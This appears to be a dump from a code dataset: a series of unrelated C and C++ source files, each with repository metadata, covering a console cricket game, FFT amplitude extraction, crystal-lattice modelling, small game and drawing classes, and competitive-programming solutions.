#include <stdio.h> int main() { int count, n, i, j, k; scanf("%d", &count); while (count--) { scanf("%d", &n); for (i='A'+n-1, j=n-1; i>='A'; i--, j--) { for (k=0; k<j; k++) { putchar(' '); } for (k='A'+n-1; k>i; k--) { putchar(k); } for (; k<='A'+n-1; k++) { putchar(k); } puts(""); } for (i='A'+1, j=1; j<n; i++, j++) { for (k=0; k<j; k++) { putchar(' '); } for (k='A'+n-1; k>i; k--) { putchar(k); } for (; k<='A'+n-1; k++) { putchar(k); } puts(""); } } return 0; }
true
0cc11a813dbc25c3923047a4768fc8b0d9500e92
C++
saphina/SWDT_2017
/lib_core/src/Freq_Amp.cpp
WINDOWS-1251
2,916
2.984375
3
[ "Apache-2.0" ]
permissive
#include <math.h> #include "fft.h" #define nSamplesPerSec 44100.0 /* . , , (samples). */ bool Get_Freq_Amp(ShortComplex *arr, double *freq, double *amp, int N) { // , //ShortComplex - : double re, im; // arr int i = N - 1; // //double nSamplesPerSec = 44100.0; // , int Nmax = (N + 1) / 2; // . // , //freq= new double[Nmax]; //amp= new double[Nmax]; // . // int j = 0; // . // , . double limit = 0.001; // double abs2min = pow(limit, 2) * N * N; // if (arr[i].re >= limit) { amp[j] = arr[i].re / N; freq[j] = 0.0; ++j; } // for(i = 1; i < Nmax; ++i) { double re = arr[i].re; double im = arr[i].im; // arr[i] double abs2 = re *re + im *im; // if (abs2 < abs2min) continue; // . 2.0 - amp[j] = 2.0 *sqrt(abs2) / N; // freq[j] = (nSamplesPerSec *i) / N; ++j; } return true; }
true
29d88a8d3d55efebff0434fc8e876183eccbd8a8
C++
WuCoding/C-
/C++/20190620/HeapStudent.cc
UTF-8
2,225
4.21875
4
[]
no_license
#include <string.h> #include <stdlib.h> #include <iostream> using std::cout; using std::endl; //要求:只生成堆对象,不能生成栈对象 Student * pstu=new Student();可以 Student stu;不可以 //解决方案: //将析构函数放入private区域,这样栈对象销毁时,自动调用析构函数会导致失败,而可以为堆对象构造一个destroy方法销毁函数,在destroy方法中去执行delete表达式,delete表达式执行之前会先调用析构来回收对象数据资源 class Student { public: //构造函数 Student(int id,const char *name) : _id(id) , _name(new char [strlen(name)+1]()) { strcpy(_name,name); cout<<"Student(int id,const char *name)"<<endl; } void print() const { cout<<"("<<_id<<","<<_name<<")"<<endl; } //提供一个接口,可以自定义开辟空间的方式 //放在类内部,只对Student类型起作用 //放在类之外,对所有的类型都会起作用 //重构new运算符 static void *operator new(size_t sz) { cout<<"void * operator new(size_t)"<<endl; return malloc(sz);//在堆内存上开辟一个空间返回头指针 } //重构delete运算符 static void operator delete(void* pointer) { cout<<"void operator delete(void*)"<<endl; free(pointer); } //为堆对象构造的销毁函数 void destroy() { //其实delete运算符执行的过程分为两步,先执行this->~Student(); //再执行delete语句 delete this; } private: ~Student() { delete [] _name;//释放对象数据成员占用的资源 cout<<"~Student()"<<endl; } private: int _id; char *_name; }; int main(void) { Student * pstu=new Student(100,"Jackie");//new语句也分为两步,第一执行new语句在堆空间上开辟空间,第二步调用构造函数 pstu->print(); //delete pstu; 这条语句是错误的,因为执行delete语句会先执行析构函数,而析构函数对外界不可见,所以调用失败 pstu->destroy();//destroy()方法中执行delete语句,在执行delete语句之前会先执行析构函数,而此时destroy是类内部的成员函数,可以访问类中的数据成员,也就可以调用析构函数 return 0; }
true
83d90828cee3c15258db3580d99ac87b524d3beb
C++
j-mathes/Ivor-Horton-VS2013
/Sketcher/Sketcher/Ellipse.h
UTF-8
608
2.734375
3
[]
no_license
#pragma once #include "Element.h" class CEllipse : public CElement { public: virtual ~CEllipse(); virtual void Draw(CDC* pDC, std::shared_ptr <CElement> pElement = nullptr) override; // Function to display an ellipse virtual void Move(const CSize& aSize) override; // Function to move an element // Constructor for an ellipse object CEllipse(const CPoint& start, const CPoint& end, COLORREF color, int penWidth, int a_penStyle = PS_SOLID); protected: CEllipse(); // Default constructor - should not be used CPoint m_BottomRight; // Bottom-right point for the ellipse };
true
609ee59ac939d5d3dc829bbde3bd2b319b3636df
C++
seising99/CQ9k-Prototype
/bossDemos/Toast.cpp
UTF-8
1,400
2.609375
3
[]
no_license
#include "Toast.h" #include "TextureMap.h" #include "Game.h" #include "VectorMath.h" #include "EntityManager.h" Toast::Toast() : Enemy(TEXTURES("toaster")) { frame = 0; sf::Vector2f pos(0.0f, 0.0f); getSprite()->setTextureRect(sf::IntRect(0, 0, 128, 128)); getSprite()->setOrigin(64, 64); int edge = rand() % 3; bool validSpot = false; int attempts = 0; while (!validSpot) { attempts++; validSpot = true; if (edge > 1) { pos.x += WINDOW.getSize().x; pos.y += rand() % WINDOW.getSize().y; } else { pos.x += rand() % WINDOW.getSize().x; pos.y += 0.0f; } setPosition(pos); for(unsigned int i = 0; i < toasts.size(); i++) if (checkCollision(*this, *toasts[i], false)) { validSpot = false; } if (attempts >= 3) validSpot = true; } setVelocity(sf::Vector2f(-1.0f * DT * 400, 1.0f * DT * 400)); setHealth(5.0f); toasts.push_back(this); } Toast::~Toast() { auto it = std::find(toasts.begin(), toasts.end(), this); toasts.erase(it); } void Toast::animate() { getSprite()->setTextureRect(sf::IntRect(128 * frame, 0, 128, 128)); count++; if (count >= 3) { frame++; count = 0; } if (frame > 13) frame = 0; } void Toast::update() { animate(); setPosition(getPosition() + getVelocity()); if (!checkInWindow()) setHealth(0); if (getHealth() <= 0) delete this; } float Toast::getDamage() { return 5.0f; }
true
a25a332b1bc7131e7d3d01a21ef43977c9d2d468
C++
shivanksagar/Cricket-Virtual-game
/src/game.cpp
UTF-8
12,524
3.078125
3
[]
no_license
# include "game.h" #include <stdlib.h> #include <time.h> using namespace std; Game:: Game() { playersPerTeam = 4; maxBalls=6; totalPlayers=11; firstInningsRuns=0; secondInningsRuns=0; players[0]="virat"; players[1]="ponting"; players[2]="sehwag"; players[3]="sachin"; players[4]="dravid"; players[5]="dhoni"; players[6]="yuvraj"; players[7]="kumble"; players[8]="lee"; players[9]="bell"; players[10]="ambrose"; isFirstInnings = false ; teamA.name="Team-A"; teamB.name="Team-B"; } void Game ::welcome(){ cout<<"\t\t\t\t---------------------------------------\n"; cout<<"\t\t\t\t|================CRIC-IN==============|\n"; cout<<"\t\t\t\t| |\n"; cout<<"\t\t\t\t| Welcome to virtual cricket game |\n"; cout<<"\t\t\t\t---------------------------------------\n"; cout<<"\n"; cout<<"\n"; cout<<"\n"; cout<<"\t\t\t\t------------------------------------------------------\n"; cout<<"\t\t\t\t|======================Instructions===================|\n"; cout<<"\t\t\t\t-------------------------------------------------------\n"; cout<<"\t\t\t\t| |\n"; cout<<"\t\t\t\t|1.Create two teams (Team-A and Team-B with 4 players |\n"; cout<<"\t\t\t\t| players each) from a given pool of 11 players. |\n"; cout<<"\t\t\t\t|2.Lead the toss and decide the choice of play. |\n"; cout<<"\t\t\t\t|3.Each innings will be of 6 balls. |\n"; cout<<"\t\t\t\t-------------------------------------------------------\n"; cout<<"\n"; cout<<"\n"; } void Game ::wait(){ do { cout << '\n' << "\t\t\t\tPress a key to continue..."; } while (cin.get() != '\n'); } void Game :: showAllPlayers(){ cout<<"\n"; cout<<"\n"; cout<<"\t\t\t\t--------------------------------------\n"; cout<<"\t\t\t\t||/////////// Pool of Players \\\\\\\\\\||\n"; cout<<"\t\t\t\t--------------------------------------\n"; cout<<"\n"; cout<<"\n"; for(int i=0 ; i < 11; i++){ cout <<"\t\t\t\t["<<i<<"]"<<players[i]<<"\n"; } } int Game ::takeIntergerInput(){ int n ; while(!(cin>>n)){ cin.clear(); cin.ignore(numeric_limits<streamsize>::max(),'\n'); cout<<"\t\t\t\tIt is a invalid inoput!Please enter a valid input"; } return n ; } bool Game::validateSelectedPlayer(int index){ int n ; vector <Player> players; players=teamA.players ; n=players.size(); for (int i=0;i < n; i++){ if(players[i].id == index){ return false; } } players=teamB.players ; n=players.size(); for (int i=0;i < n; i++){ if(players[i].id == index){ return false; } } return true ; } void Game ::selectPlayers(){ cout<<"\t\t\t\t---------------------------------------------------\n"; cout<<"\t\t\t\t|| Select players for Team-A and Team-B ||\n"; cout<<"\t\t\t\t---------------------------------------------------\n"; for (int i =0;i < playersPerTeam ;i++ ){ teamASelection: cout<<"\t\t\t\tselect player "<<i+1<<" for Team-A - "; int playerIdForTeamA = takeIntergerInput(); if (playerIdForTeamA < 0 || playerIdForTeamA > 10 ){ cout<<"\t\t\t\t Please enter a valid no from the pool\n"; goto teamASelection; } else if(!validateSelectedPlayer(playerIdForTeamA)){ cout<<"\nSame player selected.Please select some other player from the pool\n"; goto teamASelection; } else { Player teamAPlayer; teamAPlayer.id=playerIdForTeamA; teamAPlayer.name=players[playerIdForTeamA]; teamA.players.push_back(teamAPlayer); } teamBSelection: cout<<"\t\t\t\tselect player "<<i+1<<" for Team-B - "; int playerIdForTeamB = takeIntergerInput(); if (playerIdForTeamB <0 || playerIdForTeamB >10 ){ cout<<"\t\t\t\t Please enter a valid no from the pool\n"; goto teamBSelection; } else if ( !validateSelectedPlayer(playerIdForTeamB) ){ cout<<"\t\t\t\tSame player selected .Please seclect some other player from the pool\n"; goto teamBSelection; } else{ Player teamBPlayer; teamBPlayer.id=playerIdForTeamB; teamBPlayer.name=players[playerIdForTeamB]; teamB.players.push_back(teamBPlayer); } } } void Game::showPlayers(){ vector<Player> teamAPlayers= teamA.players ; vector<Player> teamBPlayers= teamB.players ; cout<<endl<<endl; cout<<"\t\t\t\t------------------------\t\t--------------------------\n"; cout<<"\t\t\t\t||-------Team-A---------||\t\t||--------Team-B--------||\n"; cout<<"\t\t\t\t-------------------------\t\t -----------------------\n"; for (int i=0;i < playersPerTeam;i++){ cout << "\t\t\t\t\t\t[" << i << "]"<<teamA.players[i].name << "\t"; cout<<"\t\t\t\t\t\t\t\t"; cout <<"\t\t\t\t\t\t\t[" << i <<"]" << teamB.players[i].name << "\t\t \n"; } cout<<"\t\t\t\t--------------------------------------------------------------\n"; } void Game::toss(){ cout<<"\t\t\t\t-----------------------------------------------------\n"; cout<<"\t\t\t\t||====================let's Toss===================||\n"; cout<<"\t\t\t\t-----------------------------------------------------\n"; srand (time(NULL)); int tossValue = rand() % 2; switch (tossValue) { case 0: cout << "\t\t\t\tTeam-A won the toss" << endl << endl; tossChoice(teamA); break; case 1: cout << "\t\t\t\tTeam-B won the toss" << endl << endl; tossChoice(teamB); break; } } void Game::tossChoice(Team tossChoiceWinner){ cout<<"\n\t\t\t\t Enter 1 for BAT and 2 for bowl .\n"; int tossValue=takeIntergerInput(); cin.ignore(numeric_limits<streamsize>::max(),'\n'); switch(tossValue){ case 1: cout<<"\n\t\t\t\t"<<tossChoiceWinner.name<<" won the toss and elected to bat first"<<"\n"<<"\n"; if(tossChoiceWinner.name.compare("Team-A")==0){ battingTeam=&teamA; bowlingTeam=&teamB; }else{ battingTeam=&teamB; bowlingTeam=&teamA; } break; case 2: cout<<"\n\t\t\t\t"<<tossChoiceWinner.name<<" won the toss and elected to bowl first"<<"\n"<<"\n"; if(tossChoiceWinner.name.compare("Team-A")==0){ bowlingTeam=&teamA; battingTeam=&teamB; }else{ bowlingTeam = &teamB; battingTeam = &teamA; } break; default: cout<<"Invalid Input please try again"; tossChoice(tossChoiceWinner); break; } } void Game::startFirstInnings(){ cout<<"\n\t\t\t\t |||| FIRST INNINGS BEGINGS||||\n"; isFirstInnings= true; initializePlayer(); } void Game::initializePlayer(){ batsmen=&battingTeam->players[0]; bowler= &bowlingTeam->players[0]; cout<<"\t\t\t\t"<<battingTeam->name<<" "<<batsmen->name<<" "<<" is batting \n"; cout<<"\t\t\t\t"<<bowlingTeam->name<<" "<<bowler->name<<" "<<"is bowling\n"; } void Game::secondInnings(){ cout<<"\n\t\t\t\t\t\t\t\ |||| SECOND INNINGS BEGINGS||||\n"; isFirstInnings=false; Team * tempTeam = battingTeam; battingTeam = bowlingTeam; bowlingTeam = tempTeam; initializePlayer(); playInnings(); } void Game ::playInnings(){ for(int i=0;i < maxBalls; i++){ cout<<"\t\t\t\tPress enter to bowl.\n"; getchar(); cout<<"\t\t\t\tBowling.....\n"; bat(); if (!validateInningsScore()){ break; } } } void Game ::bat(){ srand(time(NULL)); int runsScored= rand()%7 ; // Updating Batsmen Score and Batting team score batsmen->runsScored=batsmen->runsScored+runsScored; battingTeam->totalRunsScored=battingTeam->totalRunsScored+runsScored; batsmen->ballsPlayed=batsmen->ballsPlayed+1; // Updating Bowler runs given and bowling team scorecard bowler->runsGiven=bowler->runsGiven=runsScored; bowlingTeam->totalBowlsBowled=bowlingTeam->totalBowlsBowled+1; bowler->ballsBowled=bowler->ballsBowled+1; if (runsScored != 0){ cout<<endl<<"\t\t\t\t"<<bowler->name<<" to "<<batsmen->name<<" " << runsScored <<" runs!"<<"\n"; showScoreCard(); }else{ cout<<endl<<"\t\t\t\t"<<bowler->name<<" to "<<batsmen->name<<" " << runsScored <<" OUT!"<<"\n"; battingTeam->Wicketslost=battingTeam->Wicketslost+1; bowler->wicketsTaken=bowler->wicketsTaken+1; showScoreCard(); int nextPlayerIndex = battingTeam->Wicketslost; batsmen=&battingTeam->players[nextPlayerIndex]; } } bool Game ::validateInningsScore(){ if (isFirstInnings) { if (battingTeam->Wicketslost == playersPerTeam || bowlingTeam->totalBowlsBowled == maxBalls) { cout << "\t\t\t\t\t\t\t\t ||| FIRST INNINGS ENDS ||| " << endl << endl; cout <<"\t\t\t\t" <<battingTeam->name << " " << battingTeam->totalRunsScored << " - " << battingTeam->Wicketslost << " (" << bowlingTeam->totalBowlsBowled << ")" << endl; cout <<"\t\t\t\t"<< bowlingTeam->name << " needs " << battingTeam->totalRunsScored + 1 << " runs to win the match" << endl << endl; firstInningsRuns=battingTeam->totalRunsScored; firstInningTeam=battingTeam; return false; } } else { if(secondInningsRuns>firstInningsRuns){ cout << "\t\t\t\t\t\t\t\t ||| SECOND INNINGS ENDS ||| " << endl << endl; cout<<"\t\t\t\t"<<secondInningTeam->name<<" has won the match\n"; cout<<"\n"; cout<<"\n"; cout<<"\n"; cout<<"\n"; cout<<"\t\t\t\t=============MATCH ENDS=======================\n"; final(); return false; } else if (battingTeam->Wicketslost == playersPerTeam || bowlingTeam->totalBowlsBowled == maxBalls) { cout << "\t\t\t\t\t\t\t\t ||| SECOND INNINGS ENDS ||| " << endl << endl; secondInningsRuns=battingTeam->totalRunsScored; secondInningTeam=battingTeam; decider(); final(); return false; } } return true; } void Game::decider(){ if(firstInningsRuns>secondInningsRuns){ cout<<"\t\t\t\t"<<firstInningTeam->name<<" has won the match\n"; cout<<"\n"; cout<<"\n"; cout<<"\n"; cout<<"\n"; cout<<"\t\t\t\t=============MATCH ENDS=======================\n"; } else{ cout<<"\t\t\t\t Match has been drawn\n"; cout<<"\n"; cout<<"\n"; cout<<"\n"; cout<<"\n"; cout<<"\t\t\t\t=============MATCH ENDS=======================\n"; } } void Game ::showScoreCard(){ cout<<"\t\t\t\t---------------------------------------------------------------------------------"; cout<<"\t\t\t\t\t"<<battingTeam->name<<" "<<battingTeam->totalRunsScored<<"-"<<battingTeam->Wicketslost <<"("<<bowlingTeam->totalBowlsBowled<<")"<<"|"<<batsmen->name<<" "<<batsmen->runsScored <<" "<<"("<<batsmen->ballsPlayed<<")"<<"\t\t"<<bowler->name<<" "<<bowlingTeam->totalBowlsBowled <<" "<<bowler->runsGiven <<" "<<battingTeam->Wicketslost<<" \n"; cout<<"\t\t\t\t---------------------------------------------------------------------------------"; } void Game::final(){ cout<<"\n"; cout<<"\n"; cout<<"\t"<<battingTeam->name<<" "<<battingTeam->totalRunsScored<<"(" <<battingTeam->totalBowlsBowled<<")"<<"\n"; cout<<"\t-----------------------------------------"<<endl; cout<<"\t|Player \tBatting \t Bowling |\n"; for (int j = 0; j < playersPerTeam; j++) { Player player = battingTeam->players[j]; cout << "\t|-------------------------------------|" << endl; cout << "\t| " << "[" << j << "] " << player.name << " \t " << player.runsScored << "(" << player.ballsPlayed << ") \t\t " << player.ballsBowled << "-" << player.runsGiven << "-" << player.wicketsTaken << "\t |" << endl; } cout << "\t==========================================" << endl << endl; cout<<"\n"; cout<<"\n"; cout<<"\n"; cout<<"\t"<<bowlingTeam->name<<" "<<bowlingTeam->totalRunsScored<<"(" <<bowlingTeam->totalBowlsBowled<<")"<<"\n"; cout<<"\t-----------------------------------------"<<endl; cout<<"\t|Player \t Batting \t Bowling |\n"; for (int j = 0; j < playersPerTeam; j++) { Player player = bowlingTeam->players[j]; cout << "\t|-------------------------------------|" << endl; cout << "\t| " << "[" << j << "] " << player.name << " \t " << player.runsScored << "(" << player.ballsPlayed << ") \t\t " << player.ballsBowled << "-" << player.runsGiven << "-" << player.wicketsTaken << "\t |" << endl; } cout << "\t==========================================" << endl << endl; }
true
4e3d35b8bbf1ea30baed0177619d2c8f1db68298
C++
huiyugan/NANIM_PNNL
/DWN_cryst.h
UTF-8
11,312
2.796875
3
[]
no_license
#ifndef CRYSTAL_JOSH #define CRYSTAL_JOSH //Crystal system class used for handling ordering of atoms when //constructing systems such as nanoparticles and nanosurfaces--- #include <cmath> #include <vector> using namespace std; #include "DWN_atom.h" #include "DWN_atomcoll.h" #include "DWN_utility.h" #include "RandNum.h" const int INIT_BASIS_SIZE = 100; //Initial number of atoms to reserve in memory space. const int MAX_FACETING_PLANES = 500; //Maximum number of planes to be used in faceting crystalline nanoparticles. const int MAX_AUTO_PLANE_INDEX = 2; //Largest value of a Miller indice used in automatic crystal plane analysis //for the crystal system. Not relevant to the user-handled setting of faceting planes. const double DEFAULT_MESH_VARI = 0.10; //Default variation parameter in the mesh grid generation used in construction //of amorphous nanoparticles. class crystal_system { public: //Constructors and initialization functions--- crystal_system(); void Initialize(); //Reserves initial memory for crystal system and //sets initial values to data members. //Destructors--- ~crystal_system(); //Lattice vector settings--- void Set_Cubic_Vectors(double); // a = a = a void Set_Tetragonal_Vectors(double, double); // a = a != c void Set_Orthorhombic_Vectors(double, double, double); // a != b != c void Set_Hexagonal_Vectors(double, double); // a = a != c, a-> c is 90 degrees and a1 -> a2 is 120 degrees. void Set_Vectors(const double*); //Sets the lattice vectors with a 1-dimensional 9 member matrix. void Set_Vectors(const double*, const double*, const double*); //Sets the lattice vectors with 3 1-dimensional 3 member matrices. void Set_Vectors(const double*, const double*); //Sets the lattice vectors according to six parameters: three //vector magnitudes and three vector angles. void Set_Amor_Vectors(double, double); //Sets the mesh grid and variation parameters for making a random close-packing //amorphous structure. //Basis creation--- void Add_Atom_To_Basis(const atom&, const double*); //Adds the passed atom to the basis at the passed location //which is relative to the basis origin. void Add_Atom_To_Basis(const atom&, double, double, double); //Adds the passed atom to the basis at the passed location //which is relative to the basis origin. void Add_Atom_To_Basis_Rel(const atom&, const double*); //Adds the passed atom to the basis at the passed relative //location, relative being to the crystal lattice vectors. //Set specific crystal system--- void Set_SC_System(const atom&, double); //Defines the crystal system for a basic simple cubic system //with a one-atom basis. void Set_FCC_System(const atom&, double); //Defines the crystal system for a basic face-centered cubic //system with a four-atom basis. void Set_BCC_System(const atom&, double); //Defines the crystal system for a basis body-centered cubic //system with a two-atom basis. //Information retriveal--- int Get_Basis_Size() const; //Returns the number of atoms in the basis of the crystal system. bool Basis_Contains_Charged_Atom() const; //Returns TRUEV if at least one atom in the basis has non-zero charge. void Get_Vectors(double*) const; //Returns a one-dimensional matrix with nine parameters (see above). void Get_Vectors(double*, double*, double*) const; //Returns the lattice vectors. void Get_Vectors_Mag(double*) const; //Returns a one-dimensional matrix with the three lattice vector //magnitudes. void Get_Vector_Mag(double&, int) const; //Returns the magnitude of the indexed vector. double Size_A_Step() const; double Size_B_Step() const; double Size_C_Step() const; double Smallest_NonZero_Step() const; double Biggest_Step() const; //Returns the magnitude of one of the three (A, B, or C) lattice //vectors. //Lattice vector tests/operations--- bool Is_OrthoRhombic() const; //Returns true if the crystal system is orthorhombic //(i.e. all lattice vector angles are ninety degrees). bool Is_Full_Step_Length(double, int) const; //Tests if the passed parameter is equal to an integer multiple //of the magnitude of the indicated lattice vector. //For TRUEV: n * lattice_vec_mag = passed parameter, within 1%. bool Is_Half_Step_Length(double, int) const; //Tests if the passed parameter is equal to an integer multiple //plus 1/2 of the magnitude of the indicated lattice vector. //For TRUEV: (n + 1/2) * lattice_vec_mag = passed parameter, within 1%. void Get_Abs_Coors(double*, const double*) const; //Transforms relative coordinates into absolute coordinates via //lattice vectors. //Basis addition--- void Get_Basis_Shift(double*, const double*) const; //Returns the coordinate shift to move the first atom in the //basis set to the passed coordinates. Returns a zero-vector //if there are no atoms in the basis. void Partial_Basis_Check(atom_collection&, int, int, bool) const; //Checks for a partial addition of a basis set (i.e. only some //atoms were added). If boolean parameter is FALSEV, that //partial addition will be undone. void Add_Basis(atom_collection&, const double*) const; //Adds the atom basis to an atomic collection such that the first atom //in the basis is at the passed coordinates. void Add_Basis_ToPointSet(atom_collection&, const double**, int&) const; //Adds the atoms of the basis to an atomic collection, using one set of //spatial coordinates per atom in the basis. //Also updates the passed index variable by adding the basis size to it. void Add_Basis_ToPointSet_ImposeSphere(atom_collection&, const double**, int&, double, double, bool) const; /*Adds the atoms of the basis to an atomic collection, using one set of spatial coordinates per atom in the basis. Updates the index variable and imposes a spherical distance minimum/maximum range upon basis atom addition.*/ void Add_Basis_ToSParticle(atom_collection&, const double*, double, double, bool) const; //Adds the atoms of the basis to an atomic collection, imposing a spherical //distance min/max range requirement. void Add_Basis_ToFParticle(atom_collection&, const double*, double, double, bool) const; //Adds the atoms of the basis to an atomic collection, imposing a multi-faceted //surface within which all atoms must reside (or be removed). void Add_Basis_ToCParticle(atom_collection&, double, double, bool) const; //Adds the atoms of the basis to an atomic collection, using semi-random placement //of atoms to generate the random-close packed configuration of a spherical particle. //The particle will potentially grow off of any atoms in the atomic collection passed. void Add_Basis_ToSurface(atom_collection&, const double*, const double*, bool) const; //Adds the atoms of the basis to an atomic collection, imposing an orthorhombic //box in which all atoms added must be located. //Lattice vector stepping--- void A_Step(double*) const; void B_Step(double*) const; void C_Step(double*) const; //Apply one periodic step along a lattice vector to the passed //Cartesian coordinates. void A_Step(double*, int) const; void B_Step(double*, int) const; void C_Step(double*, int) const; //Apply integer number of steps along a lattice vector to the passed //Cartesian coordinates. void Multi_Step(double*, int, int, int) const; //Apply integer number of steps along the three lattice vectors to //the passed Cartesian coordinates. void Multi_Step(double*, int*) const; //Apply integer number of steps along the three lattice vectors to //the passed Cartesian coordinates. //Cell rotation--- void Rotate_Planes(const int*, const int*); //Rotates the cell such that the plane indicated by the second set of Miller //indices spatially occupies (after rotation) the planar space of the plane //indicated by the first set of Miller indices. void Rotate_Cell(const double*, double); //Rotates the cell along a rotation axis by a rotation angle. //Faceting plane determination--- int Get_Facet_Count() const; //Returns the number of faceting planes declared for use //in faceting atomic surfaces. void Set_Faceting_Plane(int, int, int, double); //Sets the n-th faceting plane. void Get_Faceting_Plane(int, int*, double&) const; //Returns the n-th declared faceting plane. void Determine_Normal_Vector(const int*, double*) const; //Determines the normal vector to the plane indicated //by Miller indices. //Supercell logic--- int Add_SuperCell(atom_collection&, int, int, int) const; //Adds a supercell out of this crystal system to the atomic collection. //Returns the number of atoms in the supercell. //Operator overloads--- void operator = (const crystal_system&); //Crystal system takes on all properties of another crystal system. //File I/O--- void Save_Crystal_System(const char*) const; //Saves the crystal system to file, as specified //by file name. void Load_Crystal_System(const char*); //Loads the crystal system from file, as //specified by file name. void Save_Crystal_System(ofstream&) const; //Saves the crystal system to file. void Load_Crystal_System(ifstream&); //Loads the crystal system from file. void Save_SuperCell(const char*, int, int, int) const; //Makes and saves an a x b x c supercell of atoms to file. private: void Calculate_ClosePacked_Planes(); /*Determines the close-packed planes for the crystal system and assigns them to the faceting planes. This is performed only if faceting is requested with no faceting planes yet declared. Note: Only uses one basis of atoms in analysis. This is meant to be something more interesting than practical. It is not currently a part of main program usage.*/ atom_collection basis_atoms; //The basis set of atoms for the crystal system. double lattice_vectors[3][3]; //The vectors that define the crystallographic unit cell. int faceting_planes[MAX_FACETING_PLANES][3]; //Miller indices for faceting planes. int num_faceting_planes; //Number of faceting planes declared. double scaling_factors[MAX_FACETING_PLANES]; //Relative placement of faceting planes when creating atomic surfaces. //A higher scaling factor corresponds to a faceting plane farther //away from the origin of the system being faceted. }; #endif
true
64c1a53ed59960d9610454e28119fb9f402a47ee
C++
AvaN0x/IUT-UMLDesigner
/models/Argument.cpp
UTF-8
3,192
2.859375
3
[ "MIT" ]
permissive
#include <cstdlib> #include <ostream> #include <iostream> #include "Utils.hpp" #include "Argument.hpp" #include "types.h" namespace iut_cpp { Argument::Argument() : _javaWrapper(nullptr), _name(""), _type(""), _isConst(false), _defaultValue("") { //constructor _javaWrapper = new ArgumentJavaWrapper(this); } Argument::Argument(std::string const &name, std::string const &type, bool isConst) : _javaWrapper(nullptr), _name(name), _type(type), _isConst(isConst), _defaultValue("") { //constructor _javaWrapper = new ArgumentJavaWrapper(this); } Argument::Argument(std::string const &name, std::string const &type, bool isConst, std::string const &defaultValue) : _javaWrapper(nullptr), _name(name), _type(type), _isConst(isConst), _defaultValue(defaultValue) { //constructor _javaWrapper = new ArgumentJavaWrapper(this); } Argument::Argument(Argument const &a) : _javaWrapper(nullptr), _name(a._name), _type(a._type), _isConst(a._isConst), _defaultValue(a._defaultValue) { //constructor _javaWrapper = new ArgumentJavaWrapper(this); } Argument::~Argument() { if (!_javaWrapper) delete _javaWrapper; } Argument &Argument::operator=(Argument const &a) { if (!_javaWrapper) delete _javaWrapper; _javaWrapper = new ArgumentJavaWrapper(this); _name = a._name; _type = a._type; _isConst = a._isConst; _defaultValue = a._defaultValue; return *this; } ArgumentJavaWrapper::ArgumentJavaWrapper(Argument *a) : _argument(a) { } void ArgumentJavaWrapper::print(std::ostream &stream) const { if (_argument->_isConst) stream << "final "; stream << Types::getInJava(_argument->_type) << ' ' << _argument->_name; } std::string Argument::toString() { std::string string = ""; string += _type + ' ' + (_isConst ? toUpper(_name) : _name); return string; } }
true
4b0bcd0a1fe889ba0786c483a483e14e5b282666
C++
Im-Rudra/LightOJ-Solutions
/1051-Good-Or-Bad.cpp
UTF-8
2,442
2.640625
3
[]
no_license
#include <iostream> #include <vector> #include <string.h> #include <stdio.h> using namespace std; int ab; int ok; bool ans[55][1000]; vector <int> x; string a; int check(int n) { int acount = 0; int bcount = 0; int qcount = 0; int i; for ( i = 0; i < a.length(); i++) { if(a[i] == 'A' or a[i] == 'E' or a[i] == 'I' or a[i] == 'O' or a[i] == 'U') { acount++; bcount = 0; a[i] = 'A'; } else { acount = 0; if(a[i] != '?') { bcount++; a[i] = 'B'; } else { bcount = 0; qcount++; } } if(acount == 3 or bcount == 5) { break; } } if(acount == 3 or bcount == 5) { return 0; } else { return 1; } } int explore(int i) { int t; int temp; int mul = 1; temp = 0; if(i >= x.size()) { ok++; return 0; } t = x[i]; a[t] = 'A'; for (int j = 0; (t - j) >= 0 and j <= 5; j++) { temp = temp + ((a[t-j] - 'A') * mul); mul *= 2; } if(check(t)) { if(ans[i][temp] == 0) { explore(i+1); ans[i][temp] = 1; } } else { ab++; } mul = 1; a[t] = 'B'; temp = 0; for (int j = 0; (t - j) >= 0 and j <= 5; j++) { temp += (a[t-j] - 'A') * mul; mul *= 2; } if(check(t)) { if(ans[i][temp] == 0) { explore(i+1); ans[i][temp] = 1; } } else { ab++; } a[t] = '?'; } int main() { int t; int acount; int bcount; int qcount; int i; cin >> t; for (int cs = 1; cs <= t; cs++) { cin >> a; vector <int> temp; swap(x, temp); acount = 0; bcount = 0; qcount = 0; for ( i = 0; i < a.length(); i++) { if(a[i] == 'A' or a[i] == 'E' or a[i] == 'I' or a[i] == 'O' or a[i] == 'U') { acount++; bcount = 0; a[i] = 'A'; } else { acount = 0; if(a[i] != '?') { bcount++; a[i] = 'B'; } else { bcount = 0; qcount++; } } if(acount == 3 or bcount == 5) { break; } } if(qcount == 0) { if(acount == 3 or bcount == 5) { printf("Case %d: BAD\n", cs); } else { printf("Case %d: GOOD\n", cs); } } else { for (int i = 0; i < a.length(); i++) { if(a[i] == '?') { x.push_back(i); } } ab = 0; ok = 0; memset(ans, 0, sizeof(ans)); explore(0); if(ab and ok) { printf("Case %d: MIXED\n", cs); } if(ab and ok == 0) { printf("Case %d: BAD\n", cs); } if(ab == 0 and ok) { printf("Case %d: GOOD\n", cs); } } } }
true
12b5863fff73228fe492fad214304532b26494c6
C++
sir-rasel/Online_Judge_Problem_Solve
/Uva/uva_440.cpp
UTF-8
615
2.546875
3
[]
no_license
#include<bits/stdc++.h> using namespace std; int Calu(int n, int k) { static int link[151], head, prev, last; for(int i = 2; i < n; i++) link[i] = i+1; link[n] = 2, head = 2, prev = n; for(int i = 1; i < n; i++) { for(int j = 1; j < k; j++) prev = head, head = link[head]; last = head; link[prev] = link[head]; head = link[head]; } if(last == 2) return 1; return 0; } int main() { int D[150], N, counter; for(int i = 3; i < 150; i++) { counter = 2; while(Calu(i, counter) == 0) counter++; D[i] = counter; } while(scanf("%d", &N) == 1 && N) { printf("%d\n", D[N]); } return 0; }
true
4b14154b2866691e2e57621976804dd8abadd489
C++
alexandraback/datacollection
/solutions_5686275109552128_0/C++/diogoholanda/pancakes.cpp
UTF-8
443
2.65625
3
[]
no_license
#include <stdio.h> #include <string.h> int T, u, N, resp, aux; int v[1010]; int main(){ scanf(" %d", &T); u=0; while(u<T){ u++; scanf(" %d", &N); for(int i=0; i<N; i++){ scanf(" %d", &v[i]); } resp = 1000000000; for(int k=1; k<=1000; k++){ aux = k; for(int i=0; i<N; i++){ aux += (v[i] - 1)/k; } if(aux < resp) resp = aux; } printf("Case #%d: %d\n", u, resp); } return 0; }
true
fec0c7873c3ce1c3868510029fbbf066af3e0fda
C++
proqk/Algorithm
/BruteForce/1182 부분수열의 합_다시.cpp
UTF-8
496
3.15625
3
